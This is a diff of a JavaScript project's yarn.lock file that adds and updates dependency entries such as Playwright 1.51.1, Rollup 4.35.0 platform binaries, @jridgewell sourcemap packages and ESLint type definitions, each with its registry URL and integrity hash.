+"@fluent/syntax@0.19.0":
+  version "0.19.0"
+  resolved "https://registry.yarnpkg.com/@fluent/syntax/-/syntax-0.19.0.tgz#43f882faba6908b0f1013f6a94e009d0dfbdcb77"
+  integrity sha512-5D2qVpZrgpjtqU4eNOcWGp1gnUCgjfM+vKGE2y03kKN6z5EBhtx0qdRFbg8QuNNj8wXNoX93KJoYb+NqoxswmQ==
+
 "@gitbeaker/core@^21.7.0":
   version "21.7.0"
   resolved "https://registry.yarnpkg.com/@gitbeaker/core/-/core-21.7.0.tgz#fcf7a12915d39f416e3f316d0a447a814179b8e5"
@@ -2288,6 +2878,15 @@
     query-string "^6.12.1"
     xcase "^2.0.1"
 
+"@humanwhocodes/config-array@^0.11.14":
+  version "0.11.14"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.11.14.tgz#d78e481a039f7566ecc9660b4ea7fe6b1fec442b"
+  integrity sha512-3T8LkOmg45BV5FICb15QQMsyUSWrQ8AygVfC7ZG32zOalnqrilm018ZVCw0eapXux8FtA33q8PSRSstjee3jSg==
+  dependencies:
+    "@humanwhocodes/object-schema" "^2.0.2"
+    debug "^4.3.1"
+    minimatch "^3.0.5"
+
 "@humanwhocodes/config-array@^0.12.3":
   version "0.12.3"
   resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.12.3.tgz#a6216d90f81a30bedd1d4b5d799b47241f318072"
@@ -2297,6 +2896,15 @@
     debug "^4.3.1"
     minimatch "^3.0.5"
 
+"@humanwhocodes/config-array@^0.13.0":
+  version "0.13.0"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.13.0.tgz#fb907624df3256d04b9aa2df50d7aa97ec648748"
+  integrity sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==
+  dependencies:
+    "@humanwhocodes/object-schema" "^2.0.3"
+    debug "^4.3.1"
+    minimatch "^3.0.5"
+
 "@humanwhocodes/config-array@^0.5.0":
   version "0.5.0"
   resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.5.0.tgz#1407967d4c6eecd7388f83acf1eaf4d0c6e58ef9"
@@ -2316,7 +2924,7 @@
   resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz#b520529ec21d8e5945a1851dfd1c32e94e39ff45"
   integrity sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==
 
-"@humanwhocodes/object-schema@^2.0.3":
+"@humanwhocodes/object-schema@^2.0.2", "@humanwhocodes/object-schema@^2.0.3":
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz#4a2868d75d6d6963e423bcf90b7fd1be343409d3"
   integrity sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==
@@ -2536,15 +3144,15 @@
     slash "^3.0.0"
     write-file-atomic "^4.0.2"
 
-"@jest/types@^27.2.5":
-  version "27.2.5"
-  resolved "https://registry.yarnpkg.com/@jest/types/-/types-27.2.5.tgz#420765c052605e75686982d24b061b4cbba22132"
-  integrity sha512-nmuM4VuDtCZcY+eTpw+0nvstwReMsjPoj7ZR80/BbixulhLaiX+fbv8oeLW8WZlJMcsGQsTmMKT/iTZu1Uy/lQ==
+"@jest/types@^26.6.2":
+  version "26.6.2"
+  resolved "https://registry.yarnpkg.com/@jest/types/-/types-26.6.2.tgz#bef5a532030e1d88a2f5a6d933f84e97226ed48e"
+  integrity sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==
   dependencies:
     "@types/istanbul-lib-coverage" "^2.0.0"
     "@types/istanbul-reports" "^3.0.0"
     "@types/node" "*"
-    "@types/yargs" "^16.0.0"
+    "@types/yargs" "^15.0.0"
     chalk "^4.0.0"
 
 "@jest/types@^29.6.3":
@@ -2568,6 +3176,23 @@
     "@jridgewell/sourcemap-codec" "^1.4.10"
     "@jridgewell/trace-mapping" "^0.3.9"
 
+"@jridgewell/gen-mapping@^0.3.12":
+  version "0.3.13"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz#6342a19f44347518c93e43b1ac69deb3c4656a1f"
+  integrity sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==
+  dependencies:
+    "@jridgewell/sourcemap-codec" "^1.5.0"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/gen-mapping@^0.3.2":
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz#4f0e06362e01362f823d348f1872b08f666d8142"
+  integrity sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==
+  dependencies:
+    "@jridgewell/set-array" "^1.2.1"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
 "@jridgewell/gen-mapping@^0.3.5":
   version "0.3.5"
   resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz#dcce6aff74bdf6dad1a95802b69b04a2fcb1fb36"
@@ -2605,11 +3230,21 @@
   resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz#add4c98d341472a289190b424efbdb096991bb24"
   integrity sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==
 
+"@jridgewell/sourcemap-codec@1.5.5":
+  version "1.5.5"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz#6912b00d2c631c0d15ce1a7ab57cd657f2a8f8ba"
+  integrity sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==
+
 "@jridgewell/sourcemap-codec@^1.4.10", "@jridgewell/sourcemap-codec@^1.4.14", "@jridgewell/sourcemap-codec@^1.4.15":
   version "1.4.15"
   resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz#d7c6e6755c78567a951e04ab52ef0fd26de59f32"
   integrity sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==
 
+"@jridgewell/sourcemap-codec@^1.5.0":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+
 "@jridgewell/trace-mapping@^0.3.12", "@jridgewell/trace-mapping@^0.3.18", "@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25", "@jridgewell/trace-mapping@^0.3.9":
   version "0.3.25"
   resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
@@ -2626,11 +3261,36 @@
     "@jridgewell/resolve-uri" "3.1.0"
     "@jridgewell/sourcemap-codec" "1.4.14"
 
+"@jridgewell/trace-mapping@^0.3.28":
+  version "0.3.30"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.30.tgz#4a76c4daeee5df09f5d3940e087442fb36ce2b99"
+  integrity sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@kwsites/file-exists@^1.1.1":
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/@kwsites/file-exists/-/file-exists-1.1.1.tgz#ad1efcac13e1987d8dbaf235ef3be5b0d96faa99"
+  integrity sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==
+  dependencies:
+    debug "^4.1.1"
+
+"@kwsites/promise-deferred@^1.1.1":
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz#8ace5259254426ccef57f3175bc64ed7095ed919"
+  integrity sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==
+
 "@leichtgewicht/ip-codec@^2.0.1":
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz#b2ac626d6cb9c8718ab459166d4bb405b8ffa78b"
   integrity sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==
 
+"@mdn/browser-compat-data@5.5.34":
+  version "5.5.34"
+  resolved "https://registry.yarnpkg.com/@mdn/browser-compat-data/-/browser-compat-data-5.5.34.tgz#ce64a095da3d216bfa55c6332f59e30ae57d634f"
+  integrity sha512-e8k7+8r3jiJuP7FMH6AL1OnmfQqLyABhTM+NmRDvFeAbMgtFcNQLHpmT7uza5cBnxI01+CAU3aSsIgcKGRdEBQ==
+
 "@nodelib/fs.scandir@2.1.3":
   version "2.1.3"
   resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.3.tgz#3a582bdb53804c6ba6d146579c46e52130cf4a3b"
@@ -2779,44 +3439,12 @@
   resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
   integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
 
-"@playwright/test@^1.16.3":
-  version "1.16.3"
-  resolved "https://registry.yarnpkg.com/@playwright/test/-/test-1.16.3.tgz#99439d07af6a355586393b463fd88315f32d2a57"
-  integrity sha512-aJR6d6Fd/y6lq1RWWggcuiivM7offqddOW3te+NGGMxgF2P0xAxU0/xUurwIFnEp7iHwXILSZByzZ6W6fuKPIg==
-  dependencies:
-    "@babel/code-frame" "^7.14.5"
-    "@babel/core" "^7.14.8"
-    "@babel/plugin-proposal-class-properties" "^7.14.5"
-    "@babel/plugin-proposal-dynamic-import" "^7.14.5"
-    "@babel/plugin-proposal-export-namespace-from" "^7.14.5"
-    "@babel/plugin-proposal-logical-assignment-operators" "^7.14.5"
-    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.14.5"
-    "@babel/plugin-proposal-numeric-separator" "^7.14.5"
-    "@babel/plugin-proposal-optional-chaining" "^7.14.5"
-    "@babel/plugin-proposal-private-methods" "^7.14.5"
-    "@babel/plugin-proposal-private-property-in-object" "^7.14.5"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-    "@babel/plugin-transform-modules-commonjs" "^7.14.5"
-    "@babel/preset-typescript" "^7.14.5"
-    colors "^1.4.0"
-    commander "^8.2.0"
-    debug "^4.1.1"
-    expect "=27.2.5"
-    jest-matcher-utils "=27.2.5"
-    jpeg-js "^0.4.2"
-    minimatch "^3.0.3"
-    ms "^2.1.2"
-    open "^8.3.0"
-    pirates "^4.0.1"
-    pixelmatch "^5.2.1"
-    playwright-core "=1.16.3"
-    pngjs "^5.0.0"
-    rimraf "^3.0.2"
-    source-map-support "^0.4.18"
-    stack-utils "^2.0.3"
+"@playwright/test@^1.51.1":
+  version "1.51.1"
+  resolved "https://registry.yarnpkg.com/@playwright/test/-/test-1.51.1.tgz#75357d513221a7be0baad75f01e966baf9c41a2e"
+  integrity sha512-nM+kEaTSAoVlXmMPH10017vn3FSiFqr/bh4fKg9vmAdMfd9SDqRZNvPSiAHADc/itWak+qPvMPZQOPwCBW7k7Q==
+  dependencies:
+    playwright "1.51.1"
 
 "@pmmmwh/react-refresh-webpack-plugin@^0.4.1":
   version "0.4.1"
@@ -2830,6 +3458,27 @@
     schema-utils "^2.6.5"
     source-map "^0.7.3"
 
+"@pnpm/config.env-replace@^1.1.0":
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/@pnpm/config.env-replace/-/config.env-replace-1.1.0.tgz#ab29da53df41e8948a00f2433f085f54de8b3a4c"
+  integrity sha512-htyl8TWnKL7K/ESFa1oW2UB5lVDxuF5DpM7tBi6Hu2LNL3mWkIzNLG6N4zoCUP1lCKNxWy/3iu8mS8MvToGd6w==
+
+"@pnpm/network.ca-file@^1.0.1":
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/@pnpm/network.ca-file/-/network.ca-file-1.0.2.tgz#2ab05e09c1af0cdf2fcf5035bea1484e222f7983"
+  integrity sha512-YcPQ8a0jwYU9bTdJDpXjMi7Brhkr1mXsXrUJvjqM2mQDgkRiz8jFaQGOdaLxgjtUfQgZhKy/O3cG/YwmgKaxLA==
+  dependencies:
+    graceful-fs "4.2.10"
+
+"@pnpm/npm-conf@^2.1.0":
+  version "2.2.2"
+  resolved "https://registry.yarnpkg.com/@pnpm/npm-conf/-/npm-conf-2.2.2.tgz#0058baf1c26cbb63a828f0193795401684ac86f0"
+  integrity sha512-UA91GwWPhFExt3IizW6bOeY/pQ0BkuNwKjk9iQW9KqxluGCrg4VenZ0/L+2Y0+ZOtme72EVvg6v0zo3AMQRCeA==
+  dependencies:
+    "@pnpm/config.env-replace" "^1.1.0"
+    "@pnpm/network.ca-file" "^1.0.1"
+    config-chain "^1.1.11"
+
 "@reach/auto-id@0.16.0":
   version "0.16.0"
   resolved "https://registry.yarnpkg.com/@reach/auto-id/-/auto-id-0.16.0.tgz#dfabc3227844e8c04f8e6e45203a8e14a8edbaed"
@@ -2974,6 +3623,14 @@
     "@rollup/pluginutils" "^5.0.1"
     magic-string "^0.27.0"
 
+"@rollup/plugin-typescript@^12.1.2":
+  version "12.1.2"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-typescript/-/plugin-typescript-12.1.2.tgz#ebaeec2e7376faa889030ccd7cb485a649e63118"
+  integrity sha512-cdtSp154H5sv637uMr1a8OTWB0L1SWDSm1rDGiyfcGcvQ6cuTs4MDk2BVEBGysUWago4OJN4EQZqOTl/QY3Jgg==
+  dependencies:
+    "@rollup/pluginutils" "^5.1.0"
+    resolve "^1.22.1"
+
 "@rollup/pluginutils@^5.0.1":
   version "5.0.2"
   resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-5.0.2.tgz#012b8f53c71e4f6f9cb317e311df1404f56e7a33"
@@ -2983,6 +3640,110 @@
     estree-walker "^2.0.2"
     picomatch "^2.3.1"
 
+"@rollup/pluginutils@^5.1.0":
+  version "5.1.4"
+  resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-5.1.4.tgz#bb94f1f9eaaac944da237767cdfee6c5b2262d4a"
+  integrity sha512-USm05zrsFxYLPdWWq+K3STlWiT/3ELn3RcV5hJMghpeAIhxfsUIg6mt12CBJBInWMV4VneoV7SfGv8xIwo2qNQ==
+  dependencies:
+    "@types/estree" "^1.0.0"
+    estree-walker "^2.0.2"
+    picomatch "^4.0.2"
+
+"@rollup/rollup-android-arm-eabi@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.35.0.tgz#e1d7700735f7e8de561ef7d1fa0362082a180c43"
+  integrity sha512-uYQ2WfPaqz5QtVgMxfN6NpLD+no0MYHDBywl7itPYd3K5TjjSghNKmX8ic9S8NU8w81NVhJv/XojcHptRly7qQ==
+
+"@rollup/rollup-android-arm64@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.35.0.tgz#fa6cdfb1fc9e2c8e227a7f35d524d8f7f90cf4db"
+  integrity sha512-FtKddj9XZudurLhdJnBl9fl6BwCJ3ky8riCXjEw3/UIbjmIY58ppWwPEvU3fNu+W7FUsAsB1CdH+7EQE6CXAPA==
+
+"@rollup/rollup-darwin-arm64@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.35.0.tgz#6da5a1ddc4f11d4a7ae85ab443824cb6bf614e30"
+  integrity sha512-Uk+GjOJR6CY844/q6r5DR/6lkPFOw0hjfOIzVx22THJXMxktXG6CbejseJFznU8vHcEBLpiXKY3/6xc+cBm65Q==
+
+"@rollup/rollup-darwin-x64@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.35.0.tgz#25b74ce2d8d3f9ea8e119b01384d44a1c0a0d3ae"
+  integrity sha512-3IrHjfAS6Vkp+5bISNQnPogRAW5GAV1n+bNCrDwXmfMHbPl5EhTmWtfmwlJxFRUCBZ+tZ/OxDyU08aF6NI/N5Q==
+
+"@rollup/rollup-freebsd-arm64@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.35.0.tgz#be3d39e3441df5d6e187c83d158c60656c82e203"
+  integrity sha512-sxjoD/6F9cDLSELuLNnY0fOrM9WA0KrM0vWm57XhrIMf5FGiN8D0l7fn+bpUeBSU7dCgPV2oX4zHAsAXyHFGcQ==
+
+"@rollup/rollup-freebsd-x64@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.35.0.tgz#cd932d3ec679711efd65ca25821fb318e25b7ce4"
+  integrity sha512-2mpHCeRuD1u/2kruUiHSsnjWtHjqVbzhBkNVQ1aVD63CcexKVcQGwJ2g5VphOd84GvxfSvnnlEyBtQCE5hxVVw==
+
+"@rollup/rollup-linux-arm-gnueabihf@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.35.0.tgz#d300b74c6f805474225632f185daaeae760ac2bb"
+  integrity sha512-mrA0v3QMy6ZSvEuLs0dMxcO2LnaCONs1Z73GUDBHWbY8tFFocM6yl7YyMu7rz4zS81NDSqhrUuolyZXGi8TEqg==
+
+"@rollup/rollup-linux-arm-musleabihf@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.35.0.tgz#2caac622380f314c41934ed1e68ceaf6cc380cc3"
+  integrity sha512-DnYhhzcvTAKNexIql8pFajr0PiDGrIsBYPRvCKlA5ixSS3uwo/CWNZxB09jhIapEIg945KOzcYEAGGSmTSpk7A==
+
+"@rollup/rollup-linux-arm64-gnu@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.35.0.tgz#1ec841650b038cc15c194c26326483fd7ebff3e3"
+  integrity sha512-uagpnH2M2g2b5iLsCTZ35CL1FgyuzzJQ8L9VtlJ+FckBXroTwNOaD0z0/UF+k5K3aNQjbm8LIVpxykUOQt1m/A==
+
+"@rollup/rollup-linux-arm64-musl@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.35.0.tgz#2fc70a446d986e27f6101ea74e81746987f69150"
+  integrity sha512-XQxVOCd6VJeHQA/7YcqyV0/88N6ysSVzRjJ9I9UA/xXpEsjvAgDTgH3wQYz5bmr7SPtVK2TsP2fQ2N9L4ukoUg==
+
+"@rollup/rollup-linux-loongarch64-gnu@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.35.0.tgz#561bd045cd9ce9e08c95f42e7a8688af8c93d764"
+  integrity sha512-5pMT5PzfgwcXEwOaSrqVsz/LvjDZt+vQ8RT/70yhPU06PTuq8WaHhfT1LW+cdD7mW6i/J5/XIkX/1tCAkh1W6g==
+
+"@rollup/rollup-linux-powerpc64le-gnu@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.35.0.tgz#45d849a0b33813f33fe5eba9f99e0ff15ab5caad"
+  integrity sha512-c+zkcvbhbXF98f4CtEIP1EBA/lCic5xB0lToneZYvMeKu5Kamq3O8gqrxiYYLzlZH6E3Aq+TSW86E4ay8iD8EA==
+
+"@rollup/rollup-linux-riscv64-gnu@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.35.0.tgz#78dde3e6fcf5b5733a97d0a67482d768aa1e83a5"
+  integrity sha512-s91fuAHdOwH/Tad2tzTtPX7UZyytHIRR6V4+2IGlV0Cej5rkG0R61SX4l4y9sh0JBibMiploZx3oHKPnQBKe4g==
+
+"@rollup/rollup-linux-s390x-gnu@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.35.0.tgz#2e34835020f9e03dfb411473a5c2a0e8a9c5037b"
+  integrity sha512-hQRkPQPLYJZYGP+Hj4fR9dDBMIM7zrzJDWFEMPdTnTy95Ljnv0/4w/ixFw3pTBMEuuEuoqtBINYND4M7ujcuQw==
+
+"@rollup/rollup-linux-x64-gnu@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.35.0.tgz#4f9774beddc6f4274df57ac99862eb23040de461"
+  integrity sha512-Pim1T8rXOri+0HmV4CdKSGrqcBWX0d1HoPnQ0uw0bdp1aP5SdQVNBy8LjYncvnLgu3fnnCt17xjWGd4cqh8/hA==
+
+"@rollup/rollup-linux-x64-musl@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.35.0.tgz#dfcff2c1aed518b3d23ccffb49afb349d74fb608"
+  integrity sha512-QysqXzYiDvQWfUiTm8XmJNO2zm9yC9P/2Gkrwg2dH9cxotQzunBHYr6jk4SujCTqnfGxduOmQcI7c2ryuW8XVg==
+
+"@rollup/rollup-win32-arm64-msvc@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.35.0.tgz#b0b37e2d77041e3aa772f519291309abf4c03a84"
+  integrity sha512-OUOlGqPkVJCdJETKOCEf1mw848ZyJ5w50/rZ/3IBQVdLfR5jk/6Sr5m3iO2tdPgwo0x7VcncYuOvMhBWZq8ayg==
+
+"@rollup/rollup-win32-ia32-msvc@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.35.0.tgz#5b5a40e44a743ddc0e06b8e1b3982f856dc9ce0a"
+  integrity sha512-2/lsgejMrtwQe44glq7AFFHLfJBPafpsTa6JvP2NGef/ifOa4KBoglVf7AKN7EV9o32evBPRqfg96fEHzWo5kw==
+
+"@rollup/rollup-win32-x64-msvc@4.35.0":
+  version "4.35.0"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.35.0.tgz#05f25dbc9981bee1ae6e713daab10397044a46ca"
+  integrity sha512-PIQeY5XDkrOysbQblSW7v3l1MDZzkTEzAfTPkj5VAu3FW8fS4ynyLg2sINp0fp3SjZ8xkRYpLqoKcYqAkhU1dw==
+
 "@sinclair/typebox@^0.25.16":
   version "0.25.24"
   resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.25.24.tgz#8c7688559979f7079aacaf31aa881c3aa410b718"
@@ -3008,6 +3769,11 @@
   resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-4.6.0.tgz#3c7c9c46e678feefe7a2e5bb609d3dbd665ffb3f"
   integrity sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==
 
+"@sindresorhus/is@^5.2.0":
+  version "5.6.0"
+  resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-5.6.0.tgz#41dd6093d34652cddb5d5bdeee04eafc33826668"
+  integrity sha512-TV7t8GKYaJWsn00tFDqBw8+Uqmr8A0fRU1tvTQhyZzGv0sJCGRQL3JGMI3ucuKo3XIZdUP+Lx7/gh2t3lewy7g==
+
 "@sinonjs/commons@^3.0.0":
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-3.0.1.tgz#1029357e44ca901a615585f6d27738dbc89084cd"
@@ -3036,6 +3802,13 @@
   dependencies:
     defer-to-connect "^2.0.0"
 
+"@szmarczak/http-timer@^5.0.1":
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/@szmarczak/http-timer/-/http-timer-5.0.1.tgz#c7c1bf1141cdd4751b0399c8fc7b8b664cd5be3a"
+  integrity sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==
+  dependencies:
+    defer-to-connect "^2.0.1"
+
 "@tokenizer/token@^0.1.1":
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/@tokenizer/token/-/token-0.1.1.tgz#f0d92c12f87079ddfd1b29f614758b9696bc29e3"
@@ -3046,6 +3819,11 @@
   resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-2.0.0.tgz#f544a148d3ab35801c1f633a7441fd87c2e484bf"
   integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==
 
+"@tsconfig/strictest@^2.0.5":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@tsconfig/strictest/-/strictest-2.0.5.tgz#2cbc67f207ba87fdec2a84ad79b1708cf4edd93b"
+  integrity sha512-ec4tjL2Rr0pkZ5hww65c+EEPYwxOi4Ryv+0MtjeaSQRJyq322Q27eOQiFbuNgw2hpL4hB1/W/HBGk3VKS43osg==
+
 "@types/babel__core@^7.1.14":
   version "7.20.5"
   resolved "https://registry.yarnpkg.com/@types/babel__core/-/babel__core-7.20.5.tgz#3df15f27ba85319caa07ba08d0721889bb39c017"
@@ -3140,15 +3918,25 @@
     "@types/estree" "*"
     "@types/json-schema" "*"
 
-"@types/estree@*":
-  version "0.0.42"
-  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.42.tgz#8d0c1f480339efedb3e46070e22dd63e0430dd11"
-  integrity sha512-K1DPVvnBCPxzD+G51/cxVIoc2X8uUVl1zpJeE6iKcgHMj4+tbat5Xu4TjV7v2QSDbIeAfLi2hIk+u2+s0MlpUQ==
+"@types/eslint@^9.6.1":
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-9.6.1.tgz#d5795ad732ce81715f27f75da913004a56751584"
+  integrity sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
 
-"@types/estree@^1.0.0":
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.0.tgz#5fb2e536c1ae9bf35366eed879e827fa59ca41c2"
-  integrity sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ==
+"@types/estree-jsx@^1.0.5":
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/@types/estree-jsx/-/estree-jsx-1.0.5.tgz#858a88ea20f34fe65111f005a689fa1ebf70dc18"
+  integrity sha512-52CcUVNFyfb1A2ALocQw/Dd1BQFNmSdkuC3BkZ6iqhdMfQz7JWOFRuJFloOzjk+6WijU56m9oKXFAXc7o3Towg==
+  dependencies:
+    "@types/estree" "*"
+
